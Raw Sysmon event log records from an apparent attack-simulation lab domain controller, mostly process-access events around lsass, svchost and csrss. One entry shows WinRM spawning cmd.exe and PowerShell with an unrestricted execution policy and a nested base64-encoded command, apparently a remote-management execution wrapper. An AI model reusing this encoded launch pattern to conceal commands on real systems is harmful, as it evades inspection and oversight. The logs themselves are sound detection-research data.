09:10:57.094{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004325Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2921-5F80-E100-000000007F01}4944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004324Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-2921-5F80-DF00-000000007F01}48002108C:\Windows\system32\WinrsHost.exe{A5F018FF-2921-5F80-E100-000000007F01}4944C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x80000000000000004323Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.100{A5F018FF-2921-5F80-E100-000000007F01}4944C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2921-5F80-9203-080000000000}0x803920HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-2921-5F80-DF00-000000007F01}4800C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x80000000000000004322Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004321Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004320Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.094{A5F018FF-28BD-5F80-0B00-000000007F01}8683980C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004319Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.078{A5F018FF-28BF-5F80-1300-000000007F01}12641684C:\Windows\system32\svchost.exe{A5F018FF-2921-5F80-DF00-000000007F01}4800C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x80000000000000004318Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.078{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-2921-5F80-DF00-000000007F01}4800C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004317Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-2921-5F80-E000-000000007F01}11565012C:\Windows\system32\conhost.exe{A5F018FF-2921-5F80-DF00-000000007F01}4800C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004316Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2921-5F80-E000-000000007F01}1156C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004315Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004314Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004313Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004312Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004311Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004310Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004309Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004308Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004307Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004306Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2921-5F80-DF00-000000007F01}4800C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004305Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:57.063{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2921-5F80-DF00-000000007F01}4800C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004304Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 